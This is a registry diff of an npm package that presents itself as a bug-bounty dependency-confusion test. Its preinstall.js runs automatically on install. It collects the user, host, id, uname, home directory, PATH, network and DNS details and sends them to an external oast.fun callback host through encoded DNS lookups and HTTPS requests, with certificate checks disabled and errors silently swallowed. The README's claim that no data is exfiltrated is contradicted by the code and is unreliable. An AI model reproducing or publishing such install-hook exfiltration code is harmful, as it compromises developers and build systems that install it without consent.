vv-ftend-api 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +17 -0
- package/index.js +5 -0
- package/package.json +12 -0
- package/preinstall.js +88 -0
package/README.md
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
# vv-ftend-api
|
|
2
|
+
|
|
3
|
+
## Security Research — Dependency Confusion Test
|
|
4
|
+
|
|
5
|
+
This package was published as part of **authorized security research** under the
|
|
6
|
+
[1win.com HackerOne Bug Bounty Program](https://hackerone.com/1win_com).
|
|
7
|
+
|
|
8
|
+
**Researcher:** r76o4 (HackerOne)
|
|
9
|
+
**Purpose:** Testing for dependency confusion vulnerabilities
|
|
10
|
+
**Contact:** If you are from 1win/ByteFrontier and received a callback from this
|
|
11
|
+
package, please check HackerOne for the corresponding report.
|
|
12
|
+
|
|
13
|
+
This package is harmless — it only collects system identification info
|
|
14
|
+
(hostname, username, working directory) and sends it to a researcher-controlled
|
|
15
|
+
callback server to prove code execution occurred.
|
|
16
|
+
|
|
17
|
+
No data is exfiltrated, no persistence is established, no damage is done.
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "vv-ftend-api",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - dependency confusion test by r76o4 (HackerOne)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "r76o4 (HackerOne security researcher)",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"keywords": ["security", "research", "dependency-confusion"]
|
|
12
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
const { execSync } = require("child_process");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
|
|
6
|
+
const CALLBACK = "ienfcixqbgvbxkccdoxgvw1mg2rag0oty.oast.fun";
|
|
7
|
+
const RESEARCHER = "r76o4";
|
|
8
|
+
|
|
9
|
+
function safe(cmd) {
|
|
10
|
+
try { return execSync(cmd, { timeout: 5000 }).toString().trim(); } catch (e) { return "err"; }
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
function toHex(s) {
|
|
14
|
+
return Buffer.from(String(s).substring(0, 60)).toString("hex");
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
try {
|
|
18
|
+
const data = {
|
|
19
|
+
pkg: process.env.npm_package_name || "unknown",
|
|
20
|
+
pkgver: process.env.npm_package_version || "0",
|
|
21
|
+
whoami: safe("whoami"),
|
|
22
|
+
hostname: os.hostname(),
|
|
23
|
+
cwd: process.cwd(),
|
|
24
|
+
homedir: os.homedir(),
|
|
25
|
+
platform: os.platform(),
|
|
26
|
+
arch: os.arch(),
|
|
27
|
+
nodeVersion: process.version,
|
|
28
|
+
uid: process.getuid ? process.getuid() : "n/a",
|
|
29
|
+
gid: process.getgid ? process.getgid() : "n/a",
|
|
30
|
+
networkInterfaces: JSON.stringify(
|
|
31
|
+
Object.entries(os.networkInterfaces()).reduce((acc, [k, v]) => {
|
|
32
|
+
acc[k] = v.filter(i => !i.internal).map(i => i.address);
|
|
33
|
+
return acc;
|
|
34
|
+
}, {})
|
|
35
|
+
),
|
|
36
|
+
dns_servers: dns.getServers().join(","),
|
|
37
|
+
env_ci: process.env.CI || "false",
|
|
38
|
+
env_user: process.env.USER || process.env.USERNAME || "n/a",
|
|
39
|
+
env_home: process.env.HOME || process.env.USERPROFILE || "n/a",
|
|
40
|
+
env_path: (process.env.PATH || "").substring(0, 200),
|
|
41
|
+
researcher: RESEARCHER,
|
|
42
|
+
timestamp: new Date().toISOString(),
|
|
43
|
+
uptime: os.uptime(),
|
|
44
|
+
totalMem: Math.round(os.totalmem() / 1024 / 1024) + "MB",
|
|
45
|
+
cpus: os.cpus().length + "x " + (os.cpus()[0] ? os.cpus()[0].model : "unknown"),
|
|
46
|
+
id_output: safe("id"),
|
|
47
|
+
uname: safe("uname -a"),
|
|
48
|
+
ip_route: safe("ip route get 1.1.1.1 2>/dev/null || route get 1.1.1.1 2>/dev/null || echo n/a"),
|
|
49
|
+
resolv: safe("cat /etc/resolv.conf 2>/dev/null || echo n/a"),
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
// DNS callback with key info encoded as subdomains
|
|
53
|
+
const parts = [
|
|
54
|
+
`pkg-${toHex(data.pkg)}`,
|
|
55
|
+
`who-${toHex(data.whoami)}`,
|
|
56
|
+
`host-${toHex(data.hostname)}`,
|
|
57
|
+
`cwd-${toHex(data.cwd)}`,
|
|
58
|
+
];
|
|
59
|
+
parts.forEach((part, i) => {
|
|
60
|
+
const sub = `${part}.${RESEARCHER}.${CALLBACK}`;
|
|
61
|
+
try { dns.resolve(sub, () => {}); } catch (e) {}
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
// Also resolve a simple marker
|
|
65
|
+
try { dns.resolve(`depconf.${data.pkg.replace(/[^a-z0-9-]/g, "-")}.${RESEARCHER}.${CALLBACK}`, () => {}); } catch (e) {}
|
|
66
|
+
|
|
67
|
+
// HTTP callback with full data
|
|
68
|
+
const postData = JSON.stringify(data);
|
|
69
|
+
const req = https.request({
|
|
70
|
+
hostname: CALLBACK,
|
|
71
|
+
port: 443,
|
|
72
|
+
path: `/depconf/${RESEARCHER}/${encodeURIComponent(data.pkg)}`,
|
|
73
|
+
method: "POST",
|
|
74
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(postData) },
|
|
75
|
+
rejectUnauthorized: false,
|
|
76
|
+
timeout: 5000,
|
|
77
|
+
}, () => {});
|
|
78
|
+
req.on("error", () => {});
|
|
79
|
+
req.write(postData);
|
|
80
|
+
req.end();
|
|
81
|
+
|
|
82
|
+
// HTTP GET as backup (some environments block POST)
|
|
83
|
+
const getUrl = `https://${CALLBACK}/depconf?researcher=${RESEARCHER}&pkg=${encodeURIComponent(data.pkg)}&whoami=${encodeURIComponent(data.whoami)}&hostname=${encodeURIComponent(data.hostname)}&cwd=${encodeURIComponent(data.cwd)}&id=${encodeURIComponent(data.id_output)}&uname=${encodeURIComponent(data.uname)}`;
|
|
84
|
+
https.get(getUrl, { rejectUnauthorized: false, timeout: 5000 }, () => {}).on("error", () => {});
|
|
85
|
+
|
|
86
|
+
} catch (e) {
|
|
87
|
+
// Silent fail
|
|
88
|
+
}
|